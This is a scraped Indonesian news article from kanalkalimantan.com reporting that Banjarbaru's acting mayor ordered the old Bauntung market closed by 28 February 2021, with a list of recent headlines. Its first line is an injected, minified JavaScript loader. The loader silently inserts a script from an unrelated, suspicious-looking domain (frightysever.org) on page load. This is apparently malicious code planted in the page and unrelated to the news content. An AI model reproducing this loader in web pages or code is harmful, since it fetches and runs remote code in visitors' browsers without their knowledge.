(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pedagang Pasar Masih Diberi Toleransi, Plh Wali Kota: 28 Februari Tak Boleh Lagi Beroperasi!


KANALKALIMANTAN.COM, BANJARBARU – Proses penutupan pasar Bauntung di Jalan A Yani Km 34, Banjarbaru, telah dimulai. Deadline alias batas akhir penutupan kawasan tersebut ditarget hingga 28 Februari mendatang.

Kamis (25/2/2021) siang, Pemerintah Kota (Pemko) Banjarbaru menggelar apel gabungan sosialisasi penutupan pasar Bauntung, dengan melibatkan puluhan personel anggota Polri maupun TNI. Apel dipimpin secara langsung Plh Wali Kota Banjarbaru, Said Abdullah.

Dalam penyampaiannya, Said menyatakan bahwa penutupan pasar merupakan tahap akhir dalam program relokasi yang dicanangkan oleh Pemko Banjarbaru sejak beberapa tahun lalu. Dimana saat ini telah dibangun pasar Bauntung baru, di Jalan RO Ulin, Kecamatan Baru Selatan atau dulunya dikenal sebagai Stadion Mini Haji Idak.

“Di sini saya ingin mensosialisasikan kepada para pedagang bahwa Pasar Bauntung yang lama ini akan ditutup. Selambat-lambatnya pukul 00.00 Wita, pada 28 Februari dan tidak boleh lagi ada pedagang yang beroperasi,” ujarnya.

 

Said menjanjikan bahwa pihaknya akan datang kembali pada hari yang telah ditentukan tersebut. Di hadapan para pedagang dan masyarakat yang sedang menjalankan aktivitas berbelanja, ia menegaskan tak boleh ada lagi aktivitas jual-beli di kawasan tersebut.

“Insyaallah, tanggal 28 nanti kita akan turun ke sini lagi untuk melaksanakan penutupan. Jalan-jalan di sekitar pasar yang lama ini juga tidak boleh ada lagi yang berjualan, seperti Jalan Lanan, Jalan Kemuning, Jalan Jati dan sekitarnya di kembalikan fungsinya sebagai jalan umum,” tegasnya.

“Bagi pedagang yang sudah mendapatkan lokasi di Pasar Bauntung baru wajib pindah. Sedangkan yang masih berproses silahkan berjualan sebelum tanggal 28 Februari,” sambungnya.

Terakhir, Said mengaku program relokasi ini diberlakukan hanya kepada pedagang yang terikat perjanjian dengan Pemko Banjarbaru, serta penyewa yang dianggap memenuhi syarat.

“Kami hanya memindahkan para pemegang hak. Untuk PKL (pedagang kaki lima) subuh, kita tawarkan menempati pasar Pondok Mangga yang ada di Kelurahan Loktabat Utara,” tuntasnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie


Al Ghifari

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

13 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

14 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

17 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

18 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

20 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

21 jam ago

This website uses cookies.